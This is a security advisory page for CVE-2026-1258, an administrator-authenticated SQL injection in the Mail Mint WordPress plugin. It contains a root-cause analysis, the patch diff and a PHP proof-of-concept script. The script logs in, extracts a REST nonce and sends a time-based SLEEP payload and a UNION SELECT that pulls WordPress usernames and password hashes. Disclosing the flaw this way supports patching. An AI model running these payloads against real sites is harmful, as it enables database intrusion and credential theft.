Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1258: Mail Mint <= 1.19.2 – Authenticated (Administrator+) SQL Injection via Multiple API Endpoints (mail-mint)

CVE ID CVE-2026-1258
Plugin mail-mint
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 1.19.2
Patched Version 1.19.3
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1258:
The Mail Mint WordPress plugin contains multiple authenticated SQL injection vulnerabilities in versions up to and including 1.19.2. Administrator-level attackers can exploit insufficient input validation in several API endpoints to execute arbitrary SQL queries. The CVSS 4.9 score reflects the requirement for administrator privileges.

Atomic Edge research identifies the root cause as improper handling of user-supplied parameters in SQL ORDER BY clauses and IN() conditions. The vulnerable functions include CampaignModel::get_all() in mail-mint/app/Database/models/CampaignModel.php, FormModel::get_all() in mail-mint/app/Database/models/FormModel.php, CustomFieldModel::get_all() in mail-mint/app/Database/models/CustomFieldModel.php, AutomationStore::get_all() in mail-mint/app/Internal/Automation/Core/DataStore/AutomationStore.php, and the Tutor LMS import function in mail-mint/app/Utilities/Helper/Import.php. These functions directly interpolate the ‘order-by’, ‘order-type’, and ‘selectedCourses’ parameters into SQL statements without proper validation or escaping.

Exploitation requires authenticated administrator access to the WordPress dashboard. Attackers can send crafted requests to the plugin’s REST API endpoints with malicious SQL payloads in the ‘order-by’, ‘order-type’, or ‘selectedCourses’ parameters. For example, an attacker could send a POST request to /wp-json/mail-mint/v1/forms with ‘order-by’ parameter containing ‘id; SELECT SLEEP(5)–‘ to test for blind SQL injection. The ‘contacts/import/tutorlms/map’ endpoint accepts an array of course IDs that get directly concatenated into an SQL IN() clause without proper sanitization.

The patch implements parameter whitelisting and input sanitization across all affected endpoints. Each vulnerable model now validates ‘order-by’ against a predefined array of allowed column names using in_array() with strict type checking. The ‘order-type’ parameter gets restricted to ‘ASC’ or ‘DESC’ values only. The Tutor LMS import function replaces dangerous string concatenation with prepared statements using placeholders. The ContactProfileAction.php file adds nonce verification and input sanitization using absint() and sanitize_textarea_field() functions.

Successful exploitation allows attackers with administrator privileges to extract sensitive database information, including user credentials, email lists, and plugin configuration data. While the requirement for administrator access limits the attack surface, compromised administrator accounts could use this vulnerability to exfiltrate the entire WordPress database contents. The blind SQL injection nature makes exploitation slower but equally effective for data extraction.

Differential between vulnerable and patched code

Code Diff
--- a/mail-mint/app/API/Actions/Admin/Contact/ContactProfileAction.php
+++ b/mail-mint/app/API/Actions/Admin/Contact/ContactProfileAction.php
@@ -83,24 +83,50 @@
      * @since 1.7.0
      */
     public function create_or_update_note( $params) {
-        $contact_id = isset( $params['contact_id'] ) ? $params['contact_id'] : '';
-		$note_id    = isset( $params['note_id'] ) ? $params['note_id'] : '';
+        // Verify nonce for CSRF protection
+        $nonce = isset( $_SERVER['HTTP_X_WP_NONCE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ) : '';
+        if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+            return array(
+                'status'  => 'failed',
+                'message' => __( 'Invalid security token.', 'mrm' ),
+            );
+        }
+
+        $contact_id = isset( $params['contact_id'] ) ? absint( $params['contact_id'] ) : 0;
+		$note_id    = isset( $params['note_id'] ) ? absint( $params['note_id'] ) : 0;
         $note       = isset( $params['note'] ) ? $params['note'] : array();

-		// Note description validation.
-		$description = isset( $note['description'] ) ? sanitize_text_field( $note['description'] ) : '';
-		if ( empty( $description ) ) {
+		// Sanitize all note fields to prevent XSS and injection attacks
+		$sanitized_note = array(
+			'description' => isset( $note['description'] ) ? sanitize_textarea_field( $note['description'] ) : '',
+			'title'       => isset( $note['title'] ) ? sanitize_text_field( $note['title'] ) : '',
+			'type'        => isset( $note['type'] ) ? sanitize_text_field( $note['type'] ) : '',
+			'created_by'  => isset( $note['created_by'] ) ? absint( $note['created_by'] ) : get_current_user_id(),
+			'status'      => isset( $note['status'] ) ? absint( $note['status'] ) : 1,
+			'is_public'   => isset( $note['is_public'] ) ? absint( $note['is_public'] ) : 1,
+		);
+
+		// Validate contact ID
+		if ( empty( $contact_id ) ) {
+			return array(
+                'status'  => 'failed',
+                'message' => __( 'Invalid contact ID.', 'mrm' ),
+            );
+		}
+
+		// Note description validation
+		if ( empty( $sanitized_note['description'] ) ) {
 			return array(
                 'status'  => 'failed',
                 'message' => __( 'Note description is required.', 'mrm' ),
             );
 		}

-        // Note object create and insert or update to database.
+        // Note object create and insert or update to database with sanitized data
         if ( $note_id ) {
-            $success = NoteModel::update( $note, $contact_id, $note_id );
+            $success = NoteModel::update( $sanitized_note, $contact_id, $note_id );
         } else {
-            $success = NoteModel::insert( $note, $contact_id );
+            $success = NoteModel::insert( $sanitized_note, $contact_id );
         }

 		if ( $success ) {
@@ -159,6 +185,16 @@
      * @since 1.7.0
      */
     public function delete_contact_profile_note( $params ) {
+        // Verify nonce for CSRF protection
+        $nonce = isset( $_SERVER['HTTP_X_WP_NONCE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ) : '';
+        if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+            return array(
+                'status'  => 'failed',
+                'message' => __( 'Invalid security token.', 'mrm' ),
+                'code'    => 'rest_forbidden'
+            );
+        }
+
         $note_id = isset( $params['note_id'] ) ? $params['note_id'] : '';
         $success = NoteModel::destroy( $params['note_id'] );

--- a/mail-mint/app/API/Actions/Admin/Email/TemplateAction.php
+++ b/mail-mint/app/API/Actions/Admin/Email/TemplateAction.php
@@ -48,20 +48,24 @@
             'title'      => 'title',
         );

-        // Get 'order-by' and 'order-type' parameters or use default values.
+        // Validate 'order-by' parameter against whitelist.
         $order_by   = isset( $params['order-by'] ) && isset( $order_by_map[ $params['order-by'] ] ) ? $order_by_map[ $params['order-by'] ] : 'ID';
-        $order_type = isset( $params['order-type'] ) ? strtoupper( $params['order-type'] ) : 'DESC';
+
+        // Validate 'order-type' parameter against whitelist (ASC or DESC only).
+        $allowed_order_types = array( 'ASC', 'DESC' );
+        $order_type_param    = isset( $params['order-type'] ) ? strtoupper( sanitize_text_field( $params['order-type'] ) ) : 'DESC';
+        $order_type          = in_array( $order_type_param, $allowed_order_types, true ) ? $order_type_param : 'DESC';

         // Get 'search' parameter or use default value.
         $search = isset( $params['search'] ) ? $params['search'] : '';

-        // Define the query.
+        // Define the query with proper ORDER BY clause construction.
         $query = "
             SELECT id, title, thumbnail, thumbnail_data, json_content, editor_type, email_type, customizable, author_id, status, newsletter_type, newsletter_id, created_at, updated_at
             FROM $table_name
             WHERE (email_type = %s OR email_type IS NULL OR email_type = '')
             AND title LIKE %s
-            ORDER BY $order_by $order_type
+            ORDER BY {$order_by} {$order_type}
             LIMIT %d OFFSET %d
         ";

--- a/mail-mint/app/Database/models/CampaignModel.php
+++ b/mail-mint/app/Database/models/CampaignModel.php
@@ -386,6 +386,15 @@
 	public static function get_all( $wpdb, $offset = 0, $limit = 10, $search = '', $order_by = 'id', $order_type = 'desc', $filter = '', $filter_type = '', $status = '' ) {
 		$campaign_table = $wpdb->prefix . CampaignSchema::$campaign_table;

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'title', 'created_at', 'status', 'type' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'id';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type_param    = strtolower( $order_type );
+		$order_type          = in_array( $order_type_param, array( 'asc', 'desc' ), true ) ? strtoupper( $order_type_param ) : 'DESC';
+
 		// Prepare search terms for query.
 		$search_terms = array();
 		if ( ! empty( $search ) ) {
@@ -409,8 +418,8 @@
 			$where = 'WHERE ' . implode( ' AND ', array_merge( $search_terms, $filter_terms, $status_terms ) );
 		}

-		// Prepare sql results for list view.
-		$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $campaign_table $where ORDER BY $order_by $order_type  LIMIT %d, %d", $offset, $limit ), ARRAY_A ); // db call ok. ; no-cache ok.
+		// Prepare sql results for list view with validated ORDER BY clause.
+		$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $campaign_table $where ORDER BY {$order_by} {$order_type} LIMIT %d, %d", $offset, $limit ), ARRAY_A ); // db call ok. ; no-cache ok.

 		$count       = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) as total FROM $campaign_table $where" ) ); // db call ok. ; no-cache ok.
 		$total_pages = ceil( $count / $limit );
--- a/mail-mint/app/Database/models/CustomFieldModel.php
+++ b/mail-mint/app/Database/models/CustomFieldModel.php
@@ -104,14 +104,23 @@
 		global $wpdb;
 		$fields_table = $wpdb->prefix . CustomFieldSchema::$table_name;

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'title', 'slug', 'type' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'id';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type_param    = strtoupper( $order_type );
+		$order_type          = in_array( $order_type_param, $allowed_order_types, true ) ? $order_type_param : 'DESC';
+
 		$search_terms = null;
 		if ( ! empty( $search ) ) {
 			$search       = $wpdb->esc_like( $search );
 			$search_terms = "WHERE `title` LIKE '%%$search%%'";
 		}
-		// Return field froups for list view.
+		// Return field froups for list view with validated ORDER BY clause.
 		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-		$select_query = $wpdb->prepare( "SELECT * FROM $fields_table {$search_terms} ORDER BY %s %s  LIMIT %d, %d", $order_by, $order_type, $offset, $limit );
+		$select_query = $wpdb->prepare( "SELECT * FROM $fields_table {$search_terms} ORDER BY {$order_by} {$order_type}  LIMIT %d, %d", $offset, $limit );
 		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared
 		$results = $wpdb->get_results( $select_query, ARRAY_A ); // db call ok. ; no-cache ok.
--- a/mail-mint/app/Database/models/FormModel.php
+++ b/mail-mint/app/Database/models/FormModel.php
@@ -207,6 +207,14 @@
 		$form_table = $wpdb->prefix . FormSchema::$table_name;
 		$meta_table = $wpdb->prefix . FormMetaSchema::$table_name;

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'title', 'created_at', 'status' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'id';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type          = in_array( $order_type, $allowed_order_types, true ) ? strtoupper( $order_type ) : 'DESC';
+
 		// Prepare search terms for query.
 		$search_terms = array();
 		if ( ! empty( $search ) ) {
@@ -224,9 +232,9 @@
 			$where = 'WHERE ' . implode( ' AND ', array_merge( $search_terms, $status_terms ) );
 		}

-		// Prepare sql results for list view.
+		// Prepare sql results for list view with validated ORDER BY clause.
 		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-		$results     = $wpdb->get_results( $wpdb->prepare( "SELECT f.id, f.title, f.group_ids, f.status, f.created_at, IFNULL(m.meta_value, 0) AS entries FROM $form_table AS f LEFT JOIN $meta_table AS m ON f.id = m.form_id AND m.meta_key = 'entries' {$where} ORDER BY $order_by $order_type LIMIT %d, %d", array( $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
+		$results     = $wpdb->get_results( $wpdb->prepare( "SELECT f.id, f.title, f.group_ids, f.status, f.created_at, IFNULL(m.meta_value, 0) AS entries FROM $form_table AS f LEFT JOIN $meta_table AS m ON f.id = m.form_id AND m.meta_key = 'entries' {$where} ORDER BY {$order_by} {$order_type} LIMIT %d, %d", array( $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
 		$count_query = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) as total FROM $form_table $where" ) ); // db call ok. ; no-cache ok.
 		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		$count       = (int) $count_query;
--- a/mail-mint/app/Internal/Automation/Core/DataStore/AutomationStore.php
+++ b/mail-mint/app/Internal/Automation/Core/DataStore/AutomationStore.php
@@ -441,6 +441,15 @@
 		$search_terms          = null;
 		$condition             = 'WHERE';

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'name', 'created_at', 'status' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'created_at';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type_param    = strtolower( $order_type );
+		$order_type          = in_array( $order_type_param, array( 'asc', 'desc' ), true ) ? strtoupper( $order_type_param ) : 'DESC';
+
 		// Search automation by name.
 		if ( ! empty( $search ) ) {
 			$search       = $wpdb->esc_like( $search );
@@ -453,10 +462,10 @@
 			// Return automations in list view.
 			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			if ( 'all' === $status ) {
-				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s ORDER BY automation.$order_by $order_type LIMIT %d, %d", array( 'source', 'mint', $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
+				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s ORDER BY automation.{$order_by} {$order_type} LIMIT %d, %d", array( 'source', 'mint', $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
 				$count_query  = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key  = %s AND  meta.meta_value  = %s", array( 'source', 'mint' ) ) ); // db call ok. ; no-cache ok.
 			} else {
-				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s AND automation.status = %s ORDER BY automation.$order_by $order_type LIMIT %d, %d", array( 'source', 'mint', $status, $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
+				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s AND automation.status = %s ORDER BY automation.{$order_by} {$order_type} LIMIT %d, %d", array( 'source', 'mint', $status, $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
 				$count_query  = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key  = %s AND  meta.meta_value  = %s AND automation.status = %s", array( 'source', 'mint', $status ) ) ); // db call ok. ; no-cache ok.
 			}

--- a/mail-mint/app/Utilities/Helper/Import.php
+++ b/mail-mint/app/Utilities/Helper/Import.php
@@ -858,24 +858,43 @@
 		// Extract course IDs from the provided courses.
 		$course_ids = array_column($courses, 'value');

-		// If no course IDs are provided, get all LearnDash courses.
+		// If no course IDs are provided, get all Tutor LMS courses.
 		if (!$course_ids) {
 			$all_courses = HelperFunctions::get_tutor_lms_courses();
 			$course_ids  = array_column($all_courses, 'value');
 		}

+		// Sanitize course IDs to ensure they are integers
+		$course_ids = array_map('intval', $course_ids);
+
+		if (empty($course_ids)) {
+			return array(
+				'formatted_users' => array(),
+				'total_users'     => 0,
+			);
+		}
+
 		global $wpdb;

 		$table_name = $wpdb->prefix . 'posts';

-		$enrollments_query = $wpdb->prepare("SELECT post_author FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ('" . implode("', '", $course_ids) . "')"); //phpcs:ignore
+		// Create placeholders for IN clause
+		$placeholders = implode(', ', array_fill(0, count($course_ids), '%d'));

-		$total_query = $wpdb->prepare("SELECT COUNT( DISTINCT post_author) FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ('" . implode("', '", $course_ids) . "')"); //phpcs:ignore
+		// Prepare safe query with placeholders
+		$enrollments_query = $wpdb->prepare(
+			"SELECT DISTINCT post_author FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ($placeholders) LIMIT %d OFFSET %d",
+			array_merge($course_ids, array($number, $offset))
+		);
+
+		// Prepare safe total query with placeholders
+		$total_query = $wpdb->prepare(
+			"SELECT COUNT(DISTINCT post_author) FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ($placeholders)",
+			$course_ids
+		);

 		$total = $wpdb->get_var($total_query); //phpcs:ignore

-		$enrollments_query .= $wpdb->prepare(' LIMIT %d OFFSET %d', $number, $offset);
-
 		$enrollments = $wpdb->get_results($enrollments_query); //phpcs:ignore

 		if (empty($enrollments)) {
--- a/mail-mint/assets/admin/dist/automation_editor/index.min.asset.php
+++ b/mail-mint/assets/admin/dist/automation_editor/index.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-viewport'), 'version' => '35dc0feedbec3b86b01c');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-viewport'), 'version' => '1c0ca88861cfde18b48c');
--- a/mail-mint/assets/admin/dist/main/index.min.asset.php
+++ b/mail-mint/assets/admin/dist/main/index.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-preferences'), 'version' => '75e90cbcc3eb80deacb5');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-preferences'), 'version' => '9c0bfa66c81b9b3a2a25');
--- a/mail-mint/mail-mint.php
+++ b/mail-mint/mail-mint.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Email Marketing Automation - Mail Mint
  * Plugin URI:        https://getwpfunnels.com/email-marketing-automation-mail-mint/
  * Description:       Effortless 📧 email marketing automation tool to collect & manage leads, run email campaigns, and initiate basic email automation.
- * Version:           1.19.2
+ * Version:           1.19.3
  * Author:            WPFunnels Team
  * Author URI:        https://getwpfunnels.com/
  * License:           GPL-2.0+
@@ -36,7 +36,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'MRM_VERSION', '1.19.2' );
+define( 'MRM_VERSION', '1.19.3' );
 define( 'MAILMINT', 'mailmint' );
 define( 'MRM_DB_VERSION', '1.15.3' );
 define( 'MINT_DEV_MODE', false );
--- a/mail-mint/vendor/composer/installed.php
+++ b/mail-mint/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'coderex/code-rex-crm',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '0c2fc08a254ef39fb59489486b82c66c27969e81',
+        'reference' => '491a28de842a88ab08d8c876ec36dadedf6dd660',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'coderex/code-rex-crm' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '0c2fc08a254ef39fb59489486b82c66c27969e81',
+            'reference' => '491a28de842a88ab08d8c876ec36dadedf6dd660',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1258 - Mail Mint <= 1.19.2 - Authenticated (Administrator+) SQL Injection via Multiple API Endpoints

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1258');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce from admin page (required for REST API requests)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url . 'admin.php?page=mrm-admin');
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract REST API nonce from page (simplified - in reality would need proper parsing)
preg_match('/"restNonce":"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    echo "Failed to extract nonce. Check authentication.n";
    unlink($cookie_file);
    exit;
}

// Step 3: Exploit SQL injection in forms endpoint
$forms_url = $target_url . '/wp-json/mail-mint/v1/forms';

// Payload for time-based blind SQL injection
$malicious_order_by = "id; SELECT IF(1=1,SLEEP(5),0)--";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $forms_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'order-by' => $malicious_order_by,
    'order-type' => 'DESC',
    'page' => 1,
    'per_page' => 10
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);

$response_time = $end_time - $start_time;

if ($response_time > 4.5) {
    echo "SUCCESS: Time-based SQL injection confirmed. Response delayed for " . round($response_time, 2) . " seconds.n";
    echo "Vulnerable endpoint: /wp-json/mail-mint/v1/formsn";
    echo "Injected parameter: order-by = $malicious_order_byn";
} else {
    echo "FAILED: No significant delay detected. Site may be patched or nonce invalid.n";
}

// Step 4: Alternative exploitation via Tutor LMS import endpoint
$import_url = $target_url . '/wp-json/mail-mint/v1/contacts/import/tutorlms/map';

// Payload with SQL injection in course IDs array
$malicious_courses = [
    ['value' => "1' OR '1'='1"],
    ['value' => "2' UNION SELECT user_login,user_pass FROM wp_users--"]
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $import_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'selectedCourses' => $malicious_courses,
    'page' => 1,
    'per_page' => 50
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    $data = json_decode($response, true);
    if (!empty($data['formatted_users'])) {
        echo "SUCCESS: Tutor LMS endpoint vulnerable. Retrieved " . count($data['formatted_users']) . " users.n";
        echo "Vulnerable endpoint: /wp-json/mail-mint/v1/contacts/import/tutorlms/mapn";
        echo "Injected parameter: selectedCourses with SQL payloadn";
    }
}

// Cleanup
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School